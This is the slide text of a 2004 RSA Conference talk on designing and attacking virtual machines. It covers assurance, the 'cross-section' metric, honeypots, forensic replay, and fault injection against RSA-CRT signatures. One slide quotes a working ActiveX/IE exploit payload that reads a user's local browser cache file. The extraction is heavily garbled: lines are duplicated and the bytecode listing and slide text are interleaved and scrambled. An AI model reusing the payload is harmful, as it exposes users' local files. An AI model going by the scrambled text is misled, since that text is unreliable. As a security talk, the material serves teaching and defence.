Describes using VMs for attack and defense and talks about the need for good partitioning in commodity hardware (i.e., bring LPAR from IBM's VM to x86 today.) Introduces the metric of "cross-section", which is the number/size of unique inputs that need to be recorded to reproduce the VM state. Talk given at the RSA conference, 2004.

1. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
Designing and Attacking Virtual Machines
Nate Lawson
Cryptography Research, Inc.
nate@cryptography.com
© 2004 Cryptography Research, Inc. All rights reserved. The Cryptography Research logo is a trademark
of Cryptography Research, Inc. All trademarks are the property of their respective owners. The
information contained in this presentation is provided without any guarantee or warrantee whatsoever.
Who am I?
Cryptography Research
— Fix $1B problems
• Financial systems
• Entertainment: Pay TV, high-def optical disc
• Infrastructure: platform security, networks
— Specialties
• Hardware attacks and countermeasures
• Analyzing security products
FreeBSD: ACPI, Storage
Past companies: ISS, InfoGard Labs, Decru

2. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
The Tao of VMs
James, G.; “Tao of Programming”. Pictures: computerhistory.org
What is a VM?
Complete, self-contained environment for guest software
Code is…
— Partitioned
Guest
Guest …
— Isolated from hardware
Categories
VMM
VMM
— “Language” (JVM)
Host
Host
— “Whole System” (VMware)
— “OS” (UMLinux)
— “Hardware” (IBM VM)
Not a VM: Javascript

3. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
Metric: Assurance
Strength ≠ Assurance
— Strength: How strong is the system against known
attacks?
— Assurance: What are the odds of falling to an
unknown attack?
Good crypto gives strength (i.e., key length)
Very few vendors design for assurance
— Good validation is ~10x the cost of development
— Complexity is the enemy of assurance
VM can add assurance
Metric: Cross-Section
Cross-section
— Size of an interface between
components VMM
VMM
— Small cross-section (API bottleneck)
increases assurance
Host
Host
VMs can reduce cross-section of host
that is exposed

4. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VM Overview:
Language VMs
0000: 04 iconst_1
0000:
0001: 04
3C iconst_1
istore_1
0001:
0002: 3C
03 istore_1
iconst_0
JVM
0002:
0003: 03
3D iconst_0
istore_2
0003:
0004: 3D
03 istore_2
iconst_0
0004:
0005: 03
3E iconst_0
istore_3
0005:
0006: 3E
2A istore_3
aload_0
0006:
0007: 2A
3A 04 aload_0
astore 4
— Java compiles into bytecode
0007:
0009: 3A 04
84 03 01 iinc 3,1 4
astore
0009:
000C: 19 04 01
84 03 iinc 3,1
aload 4
000C:
000E: 03 04
19 aload 4
iconst_0
000E:
000F: 03
04 iconst_0
iconst_1
000F:
0010: 04
4F iconst_1
iastore
0010:
0011: 4F
19 04 iastore
aload 4
— API: J2EE, JAAS, Swing, AWT 0011:
0013:
0013:
0014:
0014:
0015:
04 04
19
04
05
05
4F
aload 4
iconst_1
iconst_1
iconst_2
iconst_2
iastore
0015:
0016: 4F
05 iastore
iconst_2
0016:
0017: 05
3C iconst_2
istore_1
0017:
0018: 3C
06 istore_1
iconst_3
0018:
0019: 06
36 05 iconst_3
istore 5
.NET Intermediate Language
0019:
001B: 36 05
A7 004A istore 5
goto 0x0065
001B:
001E: 04 004A
A7 goto 0x0065
iconst_1
001E:
001F: 04
3D iconst_1
istore_2
001F:
0020: 3D
04 istore_2
iconst_1
0020:
0021: 04
36 06 iconst_1
istore 6
— VB, C++, C# compile to IL
0021:
0023: 36 06
A7 0025 istore 6
goto 0x0048
0023:
0026: A7 0025
19 04 goto 0x0048
aload 4
0026:
0028: 1C 04
19 iload_2 4
aload
0028:
0029: 1C
2E iload_2
iaload
0029:
002A: 2E
9E 001B iaload
ifle 0x0045
002A:
002D: 9E 001B
19 04 ifle 0x0045
aload 4
— API: .NET framework (COM) 002D:
002F:
002F:
0030:
0030:
0031:
0031:
1C 04
19
1C
2E
2E
15 05
iload_2 4
aload
iload_2
iaload
iaload
iload 5
0033: 05 05
15 iload 5
iconst_2
0033:
0034: 05
6C iconst_2
idiv
0034:
0035: 6C
A3 0010 idiv
if_icmpgt 0x0045
0035:
0038: A3 0010
15 05 if_icmpgt 0x0045
iload 5
Characteristics
0038:
003A: 15 05
19 04 aload 4 5
iload
003A:
003C: 1C 04
19 iload_2 4
aload
003C:
003D: 1C
2E iload_2
iaload
003D:
003E: 2E
70 iaload
irem
003E:
003F: 70
9A 0006 irem
ifne 0x0045
— Large API cross-section
003F:
0042: 03 0006
9A ifne 0x0045
iconst_0
0042:
0043: 03
36 06 iconst_0
istore 6
0043:
0045: 36 06
84 02 01 iinc 2,1 6
istore
0045:
0048: 1C 02 01
84 iinc 2,1
iload_2
0048:
0049: 1C
1B iload_2
iload_1
0049:
004A: 1B
A2 0008 iload_1
if_icmpge 0x0052
— JIT compilation
004A:
004D: A2 0008
15 06 if_icmpge 0x0052
iload 6
004D:
004F: 15 06
9A FFD7 iload 6
ifne 0x0026
004F:
0052: 9A FFD7
15 06 ifne 0x0026
iload 6
0052:
0054: 15 06
99 000E iload 6
ifeq 0x0062
0054:
0057: 99 000E
84 01 01 ifeq 0x0062
iinc 1,1
0057:
005A: 19 04 01
84 01 iinc 1,1
aload 4
005A:
005C: 1B 04
19 iload_1 4
aload
005C:
005D: 1B
04 iload_1
iconst_1
005D:
005E: 04
64 iconst_1
isub
005E:
005F: 64
15 05 isub
iload 5
005F:
0061: 4F 05
15 iastore 5
iload
0061: 4F iastore
VM Overview:
Whole System VMs
VMware
— Emulates priv. instructions, BIOS, virtual devices
Xen
— OS modified to run in ring 1
Characteristics
— Medium cross-section
— Applications run unmodified
— Requires x86 hardware

5. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VM Overview:
OS VMs
UMLinux/User-Mode Linux
— Linux running on Linux kernel
— Single vs. multiple host processes
FreeBSD Jail
— Partitioning of network and filesystems
— Single kernel
Characteristics (UMLinux)
— Very small cross-section
— System calls are slow
VM Overview:
Hardware VMs
IBM S/390 VM
— LPAR hosts OS and apps
App App
App
VT: Vanderpool Technology
OS
OS …
— Multiple PC partitions on one CPU
— Hardware-assisted virtualization support VMM
VMM
— Public details are few
Host
Host
Characteristics
— Large/Medium cross-section
— Very fast

6. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VM Overview:
Comparison
Level Application Mods Performance X-Section
JVM Inst. Set New language Low Large
.NET IL Inst. Set Recompile Low Large
Xen PC OS only High Medium
VMware PC None Medium Medium
VT CPU OS only Very High Medium
UMLinux OS Recompile Medium Small
What is a VM good for?
Security Architect
— Defense
— Forensics
— Debugging
Attacker
— Subverting software protection
— Fault injection
— Reverse-engineering

7. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VMs for Security:
Overview
Partitions untrusted code
Can reduce cross-section
Cross-platform means less code to validate
Challenges
— “Am I in the Matrix?”
— “What bugs remain in this API?”
— “How do I renew security after a compromise?”
— “How can I trust the vendor?”
Goal is assurance
VMs for Security:
Fallacy of Signed Code
Common pitfall: “We’ll just sign the ActiveX Exploit
ActiveX Exploit
code.”
<object
<object
classid=quot;clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0Bquot;
classid=quot;clsid:EAB22AC3-30C1-11CF-A7EB-0000C05BAE0Bquot;
name=quot;funObjectquot;
name=quot;funObjectquot;
width=100%
width=100%
Authenticates source of binary, no
height=100%>
height=100%>
<PARAM NAME=quot;ExtentXquot; VALUE=quot;5292quot;>
<PARAM NAME=quot;ExtentXquot; VALUE=quot;5292quot;>
<PARAM NAME=quot;ExtentYquot; VALUE=quot;7937quot;>
more <PARAM NAME=quot;ExtentYquot; VALUE=quot;7937quot;>
<PARAM NAME=quot;ViewModequot; VALUE=quot;1quot;>
<PARAM NAME=quot;ViewModequot; VALUE=quot;1quot;>
<PARAM NAME=quot;Offlinequot; VALUE=quot;1quot;>
<PARAM NAME=quot;Offlinequot; VALUE=quot;1quot;>
<PARAM NAME=quot;Silentquot; VALUE=quot;1quot;>
<PARAM NAME=quot;Silentquot; VALUE=quot;1quot;>
<PARAM NAME=quot;RegisterAsBrowserquot; VALUE=quot;1quot;>
Useless without reduced privilege <PARAM NAME=quot;RegisterAsBrowserquot; VALUE=quot;1quot;>
<PARAM NAME=quot;RegisterAsDropTargetquot; VALUE=quot;1quot;>
<PARAM NAME=quot;RegisterAsDropTargetquot; VALUE=quot;1quot;>
<PARAM NAME=quot;Heightquot; VALUE=quot;500quot;>
<PARAM NAME=quot;Heightquot; VALUE=quot;500quot;>
<PARAM NAME=quot;Widthquot; VALUE=quot;500quot;>
— Guninski and ActiveX <PARAM NAME=quot;Widthquot; VALUE=quot;500quot;>
<PARAM NAME=quot;AutoArrangequot; VALUE=quot;1quot;>
<PARAM NAME=quot;AutoArrangequot; VALUE=quot;1quot;>
<PARAM NAME=quot;NoClientEdgequot; VALUE=quot;1quot;>
<PARAM NAME=quot;NoClientEdgequot; VALUE=quot;1quot;>
<PARAM NAME=quot;AlignLeftquot; VALUE=quot;1quot;>
<PARAM NAME=quot;AlignLeftquot; VALUE=quot;1quot;>
<PARAM NAME=quot;Transparentquot; VALUE=quot;1quot;>
<PARAM NAME=quot;Transparentquot; VALUE=quot;1quot;>
<PARAM NAME=quot;ViewID“
<PARAM NAME=quot;ViewID“
VALUE=quot;{0057D0E0-3573-11CF-AE69-08002B2E1262}quot;>
VALUE=quot;{0057D0E0-3573-11CF-AE69-08002B2E1262}quot;>
<PARAM NAME=quot;Locationquot;
<PARAM NAME=quot;Locationquot;
VALUE=quot;javascript:document.writeln(
VALUE=quot;javascript:document.writeln(
'<object classid=&#34;clsid:EAB22AC3-30C1-11CF-A7EB-
'<object classid=&#34;clsid:EAB22AC3-30C1-11CF-A7EB-
0000C05BAE0B&#34;
0000C05BAE0B&#34;
name=&#34;funObject2&#34;><PARAM NAME=&#34Location&#34
name=&#34;funObject2&#34;><PARAM NAME=&#34Location&#34
VALUE=&#34file:///::{450D8FBA-AD25-11D0-98A8-
VALUE=&#34file:///::{450D8FBA-AD25-11D0-98A8-
0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/
0800361B1103}/../Local%20Settings/Temporary%20Internet%20Files/
Content.IE5/index.dat&#34;></object><script>setTimeout(&#34aler
Content.IE5/index.dat&#34;></object><script>setTimeout(&#34aler
t(funObject2.document.body.innerHTML)&#34,500);</script>')quot;>
t(funObject2.document.body.innerHTML)&#34,500);</script>')quot;>
</object>
</object>

8. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VMs for Security
Honeypots
Goal: observe attackers in the wild
Use a VM to provide a realistic system image
— Honeyd (Provos)
• Multiple IP stacks from nmap fingerprints
• Connect to attacker to a VM
Contains damage done
Allows reliable logging
Create “interesting” system behavior
VMs for Security
Integrity/Forensics
Defender runs system in VM
After attack, rolls back and replays state
Identifies extent of damage and repairs
ReVirt (Dunlap et al)
— Records interrupts and I/O to recreate state
— Based on UMLinux
Potentially requires a lot of storage
Requires small cross-section!

9. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VMs for Security
Trusted Computing Initiative
CPU/Chipset
— Intel, AMD
VMM, user interface
— Microsoft NGSCB
TPM, BIOS, peripherals, etc.
— TPM is like a smart card attached to the motherboard
Attempts to answer: “How can I trust my environment?”
— Partitioning
— Attestation
VMs for Attack
Overview
Provides full environment to tamper with guest software
— Access to state
— Single step
— Modified environment
What you can do with it
— Hijack device drivers
— Avoid anti-debugger techniques
— Fault induction
— Rollback/replay

10. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
Using a VM to Violate Assumptions
Platform is closed
— “No one can observe my variables”
if (strcmp(passwd, “sEkRiTpw”) == 0)
— “The bugs I worry about are in my program”
(void) printf(warningMsg);
Platform is reliable
— “It’s faster to use the cached value.”
if (savedUid == 0)
— “Verify the computed result?!?”
return (RsaComputeSig(buffer, len, d, n));
VMs for Attack
Hijacked Sound Card
Media player decodes protected music
VM provides emulated sound card
Music App
CD-quality samples written to disk OS
Signed
Signed drivers no defense Driver
Problem: “Am I in the Matrix?”
Sound
Device Emulated
VM

11. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
VMs for Attack
Fault Injection
Reverse engineering takes a lot of time
Fault injection is often faster
— Not as difficult as it sounds
— You don’t have to understand it to break it
Single faulty RSA signature reveals private key (Boneh et al)
Problem: not verifying the computed result
VMs for Attack
Fault Injection Attack
VM modified to randomly fail a multiply instruction
— App calculates signature halves: S’p, Sq
— Recombines with CRT and returns S’
S’ = Sq + ((S’p – Sq) * (q-1 mod p) mod p) * q
— Attacker calculates the private key
q = GCD((m – S’e) mod n, n)
S’p Sq

12. Designing and Attacking Virtual Machines Nate Lawson - Cryptography Research, Inc.
Backdoors: what’s next?
now
/bin/login rootkit kernel hardware
Backdoors becoming lower and lower level
Hardware very full-featured
— Flash updates
— DMA
VM is the only solution
— No raw access to hardware
— Quick restoration to known-good state
“Reformat/reinstall” is obsolete
Conclusions
Virtual machines are a powerful tool for…
— Security Architects
— Attackers
VMs are becoming an indispensable element of security
designs
Cross-section must be small to increase assurance
How will you use a VM?